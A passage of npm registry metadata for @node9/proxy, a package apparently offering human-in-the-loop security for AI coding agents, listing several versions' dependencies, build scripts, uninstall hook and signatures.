MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.19.4_1778404175163_0.9834545488690807","host":"s3://npm-registry-packages-npm-production"}},"1.20.0":{"name":"@node9/proxy","version":"1.20.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.20.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e6e63f6be20cd8a03afbf6241060c9fbf2ed75e0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.20.0.tgz","fileCount":16,"integrity":"sha512-8+yyy46rqAWwVIqDxVxN6iweQvjtsjEJn0x00iWZopbvcF36a4+KS9PWtKJTVLgbvUPAJ/WC8pgsY+mUbvqhlg==","signatures":[{"sig":"MEQCIDRgRPOQo0n8z2D3SHkpCqXStIVeC/55gcRDeyWLdirBAiAK1aqyVaoGz/phRwxj412MTjbGCWTkhB5NP9hXVfLgww==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.20.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3796425},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3f6d74c2f219cf507ff6a1025898d55b42d34901","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.20.0_1778601985414_0.06910599764953917","host":"s3://npm-registry-packages-npm-production"}},"1.20.1":{"name":"@node9/proxy","version":"1.20.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.20.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1d0a2e7e6a8a7fff2b2dfdc7f6a3c7af8589d7f7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.20.1.tgz","fileCount":16,"integrity":"sha512-oQQyAfF71CntSOR9sunVz8HFXpg1o2fFrYjqGledZNl6aDkUoPCSbAf6VQ4g+lDuDJfhbmzqS6MHZYi56mnIjQ==","signatures":[{"sig":"MEUCIQCzKrE5FV1Z77GQ5koodx7Op8X/4qQCv1Lj1mKyDjxFMwIgYoAWw8W9cR315qEygWMb2sj2A4EM3vtbdRFpA+NY2C8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.20.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3797532},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"978c221d702525e8ca94a6359bdd7e5e34709699","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.20.1_1778606339081_0.36220998161671547","host":"s3://npm-registry-packages-npm-production"}},"1.21.0":{"name":"@node9/proxy","version":"1.21.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"abcbb751726c7b09600b4d29c6062b3cc37ca020","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.0.tgz","fileCount":17,"integrity":"sha512-A/HoUc1unkORIV2aKIcVkSfDm/s1rdkxYRr0FXxyc5n6QX/tCVG+bG1hbQeH+rSFbtay2X6kXLToMSvlo9jE2A==","signatures":[{"sig":"MEQCIG9b4nKXXRzZbJa9InlnvOXgWV25ttstWRlf2XvP8gnsAiAT3KSaUxXB+l1EkY0KZkzYbQ3Lnay7PhNOM3EC2xCvqw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3863944},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"64e7838af15819ced37f6aaca415b82a7e153b8f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.0_1778684967938_0.4145187743548453","host":"s3://npm-registry-packages-npm-production"}},"1.21.1":{"name":"@node9/proxy","version":"1.21.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1b3ed7cbc2334f5519ab00a7f633da73c2e2c929","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.1.tgz","fileCount":17,"integrity":"sha512-pmzmtjEXAN03WQAfTLArq54dmIg/8GSig9pD9XUyd8jvKZn7D7Ts9qbxEcaEB/a7QgpBffl8JUPuIw2MHmwZAg==","signatures":[{"sig":"MEUCIQDCmVQpTJc6DZtJGyln3owoHEN4tbItmt2rNRzJiobdXwIgY4RXDmM0DwAHTFOpPosDh4FHeZSSvUo5CyvAtQ7KpME=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3859536},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bb18d96a1e091c81d763c7da22201f453d7935fc","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.1_1778688288760_0.9215265165807411","host":"s3://npm-registry-packages-npm-production"}},"1.21.2":{"name":"@node9/proxy","version":"1.21.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b5d17bebdfe1853d4be84c7efa4fa55ede7e9d00","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.2.tgz","fileCount":17,"integrity":"sha512-oEk/2ZaYLOz+BpWzR3r2zRTwK9q/W8FdDvpykdzP7LT/kS7+h1o6ZpCZfRlE6QX8rSSB/aW651tvxXsiA64pHw==","signatures":[{"sig":"MEQCICFPehtgTFGnN9qEDWvtweD9TTaE4LHN51dh6NR5eX2/AiB51X4XGKKb8qzcpKMGSTgvhpvMTHiLRqRtmhTbeW4qZg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3863837},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"397e7134a085f654907c86a27aa0d9ce6d601ae4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.21.2_1778708082158_0.15332893246065238","host":"s3://npm-registry-packages-npm-production"}},"1.21.3":{"name":"@node9/proxy","version":"1.21.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.21.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"275167fcba229e07f29e706b5d16cbad447b1641","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.21.3.tgz","fileCount":17,"integrity":"sha512-y8aQFE7DbJiDGrVkqp4dlP2m+EBWUUletEfMH8pRjD89RUt2p1zWL+wNNjtYt+VANi+n/LGWGLUYKozuJOZL5g==","signatures":[{"sig":"MEQCIFjY8wRHn+NAXI+MD+3SGsClrDpQOvA14kPjis051xY1AiAfwAlGr5raTBytxi/LzqZEJ9N09IKWKghTBcy4LbHrmQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.21.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3863839},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8423e9aabca35070839f96bf1a91365fa00292a0","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & 